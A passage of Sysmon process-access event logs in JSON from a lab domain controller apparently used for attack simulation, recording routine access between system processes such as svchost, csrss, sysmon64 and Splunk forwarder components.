\r\nUtcTime: 2020-08-07 11:53:40.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4019,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.369\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-40C4-5F2D-0000-001029B30500}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.369","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-40C4-5F2D-0000-001029B30500}","TargetProcessId":"2284","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4020,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.510\r\nSourceProcessGUID: {90617006-40C4-5F2D-0000-001029B30500}\r\nSourceProcessId: 2284\r\nSourceThreadId: 4080\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.510","SourceProcessGUID":"{90617006-40C4-5F2D-0000-001029B30500}","SourceProcessId":"2284","SourceThreadId":"4080","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4021,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.541\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2232\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-40C4-5F2D-0000-001077B50500}\r\nTargetProcessId: 4572\r\nTargetImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\wbem\\wmisvc.dll+21c4|c:\\windows\\system32\\wbem\\wmisvc.dll+2031|C:\\Windows\\SYSTEM32\\ntdll.dll+7df1d|C:\\Windows\\SYSTEM32\\ntdll.dll+45ce9|C:\\Windows\\SYSTEM32\\ntdll.dll+29bdf|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.541","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2232","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-40C4-5F2D-0000-001077B50500}","TargetProcessId":"4572","TargetImage":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\wbem\\wmisvc.dll+21c4|c:\\windows\\system32\\wbem\\wmisvc.dll+2031|C:\\Windows\\SYSTEM32\\ntdll.dll+7df1d|C:\\Windows\\SYSTEM32\\ntdll.dll+45ce9|C:\\Windows\\SYSTEM32\\ntdll.dll+29bdf|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4022,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4023,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4024,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.541\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-40C4-5F2D-0000-001077B50500}\r\nTargetProcessId: 4572\r\nTargetImage: \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.541","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-40C4-5F2D-0000-001077B50500}","TargetProcessId":"4572","TargetImage":"\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4025,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4026,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:40.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4027,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:40.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 